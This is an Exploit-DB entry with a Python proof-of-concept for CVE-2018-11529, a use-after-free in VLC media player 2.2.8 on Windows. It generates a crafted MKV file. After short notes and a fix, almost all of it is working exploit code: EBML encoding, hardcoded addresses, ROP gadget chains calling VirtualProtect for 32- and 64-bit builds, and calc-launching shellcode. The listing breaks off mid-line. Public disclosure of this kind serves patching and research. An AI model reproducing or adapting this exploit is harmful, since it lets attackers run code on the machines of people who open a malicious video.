Exploit-DB #44979
Description: VLC media player 2.2.8 - Arbitrary Code Execution (PoC)
Type: local
Platform: windows
Date: 2018-07-05
Author: Eugene Ng

Exploit:
# Exploit Title: VLC media player 2.2.8 - Arbitrary Code Execution PoC
# Date: 2018-06-06
# Exploit Author: Eugene Ng
# Vendor Homepage: https://www.videolan.org/vlc/index.html
# Software Link: http://download.videolan.org/pub/videolan/vlc/2.2.8/win64/vlc-2.2.8-win64.exe
# Version: 2.2.8
# Tested on: Windows 10 x64
# CVE: CVE-2018-11529
#
# 1. Description
#
# VLC media player through 2.2.8 is prone to a Use-After-Free (UAF) vulnerability. This issue allows 
# an attacker to execute arbitrary code in the context of the logged-in user via crafted MKV files. Failed
# exploit attempts will likely result in denial of service conditions.
#
# Exploit can work on both 32 bits and 64 bits of VLC media player.
#
# 2. Proof of Concept
#
# Generate MKV files using python
# Open VLC media player
# Drag and drop poc.mkv into VLC media player (more reliable than double clicking)
#
# 3. Solution
#
# Update to version 3.0.3
# https://get.videolan.org/vlc/3.0.3/win64/vlc-3.0.3-win64.exe

import uuid
from struct import pack

class AttachedFile(object):
    def __init__(self, data):
        self.uid    = '\x46\xae' + data_size(8) + uuid.uuid4().bytes[:8]
        self.name   = '\x46\x6e' + data_size(8) + uuid.uuid4().bytes[:8]
        self.mime   = '\x46\x60' + data_size(24) + 'application/octet-stream'
        self.data   = '\x46\x5c' + data_size(len(data)) + data
        self.header = '\x61\xa7' + data_size(len(self.name) + len(self.data) + len(self.mime) + len(self.uid))

    def __str__(self):
        return self.header + self.name + self.mime + self.uid + self.data

def to_bytes(n, length):
    h = '%x' % n
    s = ('0'*(len(h) % 2) + h).zfill(length*2).decode('hex')
    return s

def data_size(number, numbytes=range(1, 9)):
    # encode 'number' as an EBML variable-size integer.
    size = 0
    for size in numbytes:
        bits = size*7
        if number <= (1 << bits) - 2:
            return to_bytes(((1 << bits) + number), size)
    raise ValueError("Can't store {} in {} bytes".format(number, size))

def build_data(size, bits, version):
    target_addresses = {
        '64': 0x40000040,
        '32': 0x22000020,
    }
    target_address = target_addresses[bits]

    exit_pointers = {
        '64': {
            '2.2.8': 0x00412680,
        },
        '32': {
            '2.2.8': 0x00411364,
        }
    }
    pExit = exit_pointers[bits][version]

    rop_gadgets = {
        '64': {
            '2.2.8': [
                0x004037ac,             # XCHG EAX,ESP # ROL BL,90H # CMP WORD PTR [RCX],5A4DH # JE VLC+0X37C0 # XOR EAX,EAX # RET
                0x00403b60,             # POP RCX # RET
                target_address,         # lpAddress
                0x004011c2,             # POP RDX # RET
                0x00001000,             # dwSize
                0x0040ab70,             # JMP VirtualProtect
                target_address + 0x500, # Shellcode
            ],
        },
        '32': {
            '2.2.8': [
                0x0040ae91,             # XCHG EAX,ESP # ADD BYTE PTR [ECX],AL # MOV EAX,DWORD PTR [EAX] # RET
                0x00407086,             # POP EDI # RETN [vlc.exe]
                0x00000040,             # 0x00000040-> edx
                0x0040b058,             # MOV EDX,EDI # POP ESI # POP EDI # POP EBP # RETN [vlc.exe]
                0x41414141,             # Filler (compensate)
                0x41414141,             # Filler (compensate)
                0x41414141,             # Filler (compensate)
                0x004039c7,             # POP EAX # POP ECX # RETN [vlc.exe]
                0x22000030,             # Filler (compensate) for rol [eax] below
                0x41414141,             # Filler (compensate)
                0x004039c8,             # POP ECX # RETN [vlc.exe]
                0x0041193d,             # &Writable location [vlc.exe]
                0x00409d18,             # POP EBX # RETN [vlc.exe]
                0x00000201,             # 0x00000201-> ebx
                0x0040a623,             # POP EBP # RETN [vlc.exe]
                0x0040a623,             # POP EBP # RETN [vlc.exe]
                0x004036CB,             # POP ESI # RETN [vlc.exe]
                0x0040848c,             # JMP ds:[EAX * 4 + 40e000] [vlc.exe]
                0x00407086,             # POP EDI # RETN [vlc.exe]
                0x0040ae95,             # MOV EAX,DWORD PTR [EAX] # RETN [vlc.exe]
                0x0040af61,             # PUSHAD # ROL BYTE PTR [EAX], 0FFH # LOOPNE VLC+0XAEF8 (0040AEF8)
                target_address + 0x5e0, # Shellcode
            ],
        }
    }

    if bits == '64':
        target_address_packed = pack("<Q", target_addresses[bits])
        rop_chain = ''.join(pack('<Q', _) for _ in rop_gadgets[bits][version])

        # https://github.com/peterferrie/win-exec-calc-shellcode/tree/master/build/bin
        # w64-exec-calc-shellcode-esp.bin
        shellcode = (
        "\x66\x83\xe4\xf0\x50\x6a\x60\x5a\x68\x63\x61\x6c\x63\x54\x59\x48"
        "\x29\xd4\x65\x48\x8b\x32\x48\x8b\x76\x18\x48\x8b\x76\x10\x48\xad"
        "\x48\x8b\x30\x48\x8b\x7e\x30\x03\x57\x3c\x8b\x5c\x17\x28\x8b\x74"
        "\x1f\x20\x48\x01\xfe\x8b\x54\x1f\x24\x0f\xb7\x2c\x17\x8d\x52\x02"
        "\xad\x81\x3c\x07\x57\x69\x6e\x45\x75\xef\x8b\x74\x1f\x1c\x48\x01"
        "\xfe\x8b\x34\xae\x48\x01\xf7\x99\xff\xd7"
        # add shellcode to avoid crashes by terminating the process
        # xor rcx, rcx # mov rax, pExit # call [rax]
        "\x48\x31\xc9\x48\xc7\xc0" + pack("<I", pExit) + "\xff\x10")

        if size == 0x180:
            UAF_object = '\x41'
            while len(UAF_object) < size:
                UAF_object += UAF_object
            UAF_object = UAF_object[:size]
            UAF_object = UAF_object[:0x30] + target_address_packed + UAF_object[0x38:]
            UAF_object = UAF_object[:0x38] + pack("<Q", target_addre